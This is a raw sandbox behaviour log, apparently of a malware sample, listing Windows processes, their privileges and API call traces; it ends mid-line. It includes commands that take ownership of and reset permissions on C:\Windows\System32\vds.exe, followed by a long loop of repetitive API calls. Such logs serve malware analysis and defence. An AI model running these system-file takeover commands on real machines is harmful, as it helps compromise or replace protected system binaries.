id = 227 os_tid = 0x660 Thread: id = 228 os_tid = 0x6c4 Thread: id = 229 os_tid = 0x7bc Thread: id = 230 os_tid = 0x72c Thread: id = 231 os_tid = 0x600 Thread: id = 232 os_tid = 0x5e8 Thread: id = 233 os_tid = 0x5d8 Thread: id = 234 os_tid = 0x5a4 Thread: id = 235 os_tid = 0x560 Thread: id = 236 os_tid = 0x544 Thread: id = 237 os_tid = 0x404 Thread: id = 238 os_tid = 0x138 Thread: id = 239 os_tid = 0x378 Thread: id = 240 os_tid = 0x3a0 Thread: id = 241 os_tid = 0x214 Thread: id = 242 os_tid = 0x12c Process: id = "13" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x673d000" os_pid = "0x46c" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000107ea" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 243 os_tid = 0x5f8 Thread: id = 244 os_tid = 0x31c Thread: id = 245 os_tid = 0x30c Thread: id = 246 os_tid = 0x244 Thread: id = 247 os_tid = 0x6f0 Thread: id = 248 os_tid = 0x790 Thread: id = 249 os_tid = 0x58c Thread: id = 250 os_tid = 0x740 Thread: id = 251 os_tid = 0x3d4 Thread: id = 252 os_tid = 0x4bc Thread: id = 253 os_tid = 0x4a4 Thread: id = 254 os_tid = 0x48c Thread: id = 255 os_tid = 0x488 Thread: id = 256 os_tid = 0x470 Process: id = "14" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x21fc5000" os_pid = "0x4a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 257 os_tid = 0x4f4 Thread: id = 258 os_tid = 0x90 Thread: id = 259 os_tid = 0x66c Thread: id = 260 os_tid = 0x5a0 Thread: id = 261 os_tid = 0x77c Thread: id = 262 os_tid = 0x7d4 Thread: id = 263 os_tid = 0x7a0 Thread: id = 264 os_tid = 0x774 Thread: id = 265 os_tid = 0x75c Thread: id = 266 os_tid = 0x4c0 Thread: id = 267 os_tid = 0x4b4 Thread: id = 268 os_tid = 0x4ac Thread: id = 429 os_tid = 0x6d4 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x36b8000" os_pid = "0x4c4" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001130c" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 269 os_tid = 0x114 Thread: id = 270 os_tid = 0x1c0 Thread: id = 271 os_tid = 0x6b8 Thread: id = 272 os_tid = 0x22c Thread: id = 273 os_tid = 0x6ec Thread: id = 274 os_tid = 0x6e8 Thread: id = 275 os_tid = 0x60c Thread: id = 276 os_tid = 0x5ac Thread: id = 277 os_tid = 0x588 Thread: id = 278 os_tid = 0x584 Thread: id = 279 os_tid = 0x580 Thread: id = 280 os_tid = 0x57c Thread: id = 281 os_tid = 0x570 Thread: id = 282 os_tid = 0x558 Thread: id = 283 os_tid = 0x528 Thread: id = 284 os_tid = 0x520 Thread: id = 285 os_tid = 0x51c Thread: id = 286 os_tid = 0x508 Thread: id = 287 os_tid = 0x4f8 Thread: id = 288 os_tid = 0x4ec Thread: id = 289 os_tid = 0x4d0 Thread: id = 290 os_tid = 0x4c8 Thread: id = 427 os_tid = 0x654 Process: id = "16" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0xe272000" os_pid = "0x720" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "taskhost.exe $(Arg0)" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT TASK\\Microsoft-Windows-SideShow-AutoWake" [0xe], "NT TASK\\Microsoft-Windows-SideShow-SystemDataProviders" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-UsbCeip" [0xe], "NT TASK\\Microsoft-Windows-Ras-MobilityManager" [0xe], "NT TASK\\Microsoft-Windows-PerfTrack-BackgroundConfigSurveyor" [0xe], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-KernelCeipTask" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003ca91" [0xc0000007], "LOCAL" [0x7] Thread: id = 291 os_tid = 0x678 Thread: id = 292 os_tid = 0x730 Thread: id = 293 os_tid = 0x568 Thread: id = 294 os_tid = 0x7c4 Thread: id = 295 os_tid = 0x56c Thread: id = 296 os_tid = 0x474 Thread: id = 297 os_tid = 0x14c Thread: id = 298 os_tid = 0x454 Thread: id = 299 os_tid = 0x6dc Thread: id = 300 os_tid = 0x7d0 Thread: id = 301 os_tid = 0x648 Thread: id = 302 os_tid = 0x668 Thread: id = 434 os_tid = 0x8ac Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5e786000" os_pid = "0x5cc" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xe], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000435e3" [0xc000000f], "LOCAL" [0x7] Thread: id = 303 os_tid = 0x658 Thread: id = 304 os_tid = 0x42c Thread: id = 305 os_tid = 0x430 Thread: id = 306 os_tid = 0x340 Thread: id = 307 os_tid = 0x4d8 Thread: id = 308 os_tid = 0x4d4 Thread: id = 331 os_tid = 0xb40 Process: id = "18" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x5d88c000" os_pid = "0x674" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043b05" [0xc000000f], "LOCAL" [0x7] Thread: id = 309 os_tid = 0x628 Thread: id = 310 os_tid = 0x4e0 Thread: id = 311 os_tid = 0x748 Thread: id = 312 os_tid = 0x64c Thread: id = 313 os_tid = 0x6a4 Thread: id = 314 os_tid = 0x760 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5cc91000" os_pid = "0x738" os_integrity_level = "0x4000" os_privileges = "0x209e0128" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k secsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\WinDefend" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043ca8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 315 os_tid = 0x2a4 Thread: id = 316 os_tid = 0x6e4 Thread: id = 317 os_tid = 0x724 Thread: id = 318 os_tid = 0x670 Thread: id = 319 os_tid = 0x654 Thread: id = 320 os_tid = 0x744 Thread: id = 321 os_tid = 0x7a8 Thread: id = 322 os_tid = 0x348 Thread: id = 323 os_tid = 0x784 Thread: id = 324 os_tid = 0x634 Thread: id = 325 os_tid = 0x5c8 Thread: id = 326 os_tid = 0x3b4 Thread: id = 327 os_tid = 0x5a8 Thread: id = 328 os_tid = 0x6a8 Thread: id = 329 os_tid = 0x224 Thread: id = 404 os_tid = 0x80c Thread: id = 410 os_tid = 0x900 Process: id = "20" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x331f9000" os_pid = "0x7cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7b4" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 330 os_tid = 0x1c4 Thread: id = 336 os_tid = 0xa70 Process: id = "21" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x30fa9000" os_pid = "0xb28" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006feb0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 337 os_tid = 0xa60 Thread: id = 339 os_tid = 0xa50 Thread: id = 340 os_tid = 0xb18 Thread: id = 341 os_tid = 0xb20 [0032.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfbd6a0 | out: lpSystemTimeAsFileTime=0xfbd6a0*(dwLowDateTime=0x3381fa10, dwHighDateTime=0x1d5dff7)) [0032.713] GetCurrentProcessId () returned 0xb28 [0032.713] GetCurrentThreadId () returned 0xb20 [0032.713] GetTickCount () returned 0x1152b93 [0032.713] QueryPerformanceCounter (in: lpPerformanceCount=0xfbd6a8 | out: lpPerformanceCount=0xfbd6a8*=17462023282) returned 1 [0032.713] malloc (_Size=0x100) returned 0xe8e80 Thread: id = 342 os_tid = 0x65c Thread: id = 343 os_tid = 0x490 Thread: id = 344 os_tid = 0x5e0 Thread: id = 347 os_tid = 0x778 Thread: id = 402 os_tid = 0xbdc Process: id = "22" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x32cff000" os_pid = "0xa20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7b4" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 338 os_tid = 0xa40 Process: id = "23" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x32eaf000" os_pid = "0x734" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:000701fc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 345 os_tid = 0x34c [0032.641] GetCommandLineW () returned="C:\\Windows\\System32\\vds.exe" [0032.641] GetStockObject (i=168) returned 0x0 [0032.641] GetAsyncKeyState (vKey=58) returned 0 [0032.641] GetKBCodePage () returned 0x1b5 [0032.641] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.641] GetFocus () returned 0x0 [0032.641] GetAsyncKeyState (vKey=58) returned 0 [0032.641] GetKBCodePage () returned 0x1b5 [0032.641] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.641] GetFocus () returned 0x0 [0032.641] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.642] GetAsyncKeyState (vKey=58) returned 0 [0032.642] GetKBCodePage () returned 0x1b5 [0032.642] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.642] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.643] GetAsyncKeyState (vKey=58) returned 0 [0032.643] GetKBCodePage () returned 0x1b5 [0032.643] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.643] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, 